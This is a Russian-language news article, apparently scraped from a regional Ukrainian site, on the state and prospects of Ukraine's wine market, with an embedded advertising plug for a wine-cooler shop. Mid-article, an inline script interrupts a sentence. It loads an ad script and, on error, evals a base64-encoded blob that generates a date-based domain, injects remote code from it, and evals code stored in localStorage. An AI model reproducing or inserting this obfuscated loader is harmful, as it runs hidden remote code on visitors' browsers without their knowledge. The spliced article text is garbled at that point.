Большинство экспертов в области украинской винодельческой отрасли утверждают, что в нашей стране до сих по пренебрегают немалыми ресурсными возможностями. Украина, которая имеет огромный потенциал для масштабного производства качественного вина, до сих пор занимает лишь 20-е место в рейтинге винодельческих стран мира. У виноделия в Украине многовековая история — в 60-х годах прошлого столетия площади виноградников составляли около 400 тыс. га. Сегодня они уменьшились почти в 5 раз и продолжают сокращаться. Несмотря на это, рынок виноделия в Украине продолжает развиваться.
Почему украинцы не выбираю украинское?
Мы привыкли доверчиво воспринимать тот факт, что иностранные вина прекрасны, высококачественны и неповторимы, а вот украинские – лучше и не пробовать. И отечественные потребители не спорят, а даже соглашаются, голосуя гривной за импортную продукцию, потому что привыкли, что из-за границы все значительно лучше и качественнее по умолчанию. Но это не так. Сложно поверить, но те же иностранцы, жители винодельческих европейских стран, находясь в Украине, всегда предпочитают вино из местного винограда.
В нашей стране в десятки раз меньше возделывают виноград, ведь более тщательная обработка, в результате благоприятных климатических условий, ему и не нужна. Украинские вина – натуральные и уникальные, потому что содержат незначительный уровень консервантов. Важную роль играет и способ хранения вина в магазинах и заведениях, где его предлагают гостям. Зачастую используют холодильник для вина, который способен поддерживать оптимальную температуру, уровень влажности и гасить вибрации. Кроме того, каждый винный холодильник с сайта https://wine-coolers.com.ua/ имеет специальный светофильтр, который защищает бутылки от попадания вредных для вина лучей ультрафиолета. По факту, иностранцы признают украинское вино, а сами украинцы больше любят иностранное, даже несмотря на патриотизм и тот факт, что здоровее потреблять продукты, выращенные на родной земле.
Что может повлиять на развитие рынка вина в Украине
Повышенное внимание государства к национальному виноделию будет способствовать его процветанию. Можно обозначить такие пути развития винодельческой отрасли в Украине на будущий год: var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
привлечение в отрасль крупных инвестицийвыбор правильной маркетинговой политики проведение мероприятий по обеспечению развития инфраструктуры рынка винодельческой продукции, регулирование спроса и предложениязащита рынка от импортной винопродукции и сырья низкого качества
Первые шаги уже предпринимаются. В прошлом году Президент Украины Владимир Зеленский подписал Указ о национальном Дне виноградаря и винодела, который будут праздновать каждое второе воскресенье ноября. Поэтому, есть надежда, что вино из украинского винограда вернет свою самобытную силу, которая не только улучшит социально-экономическое положение Украины, но и выведет ее в следующем 2022 году на качественно новый уровень как мощное винодельческое государство.
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/potentsial-rynka-vina-v-ukraine-2022/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
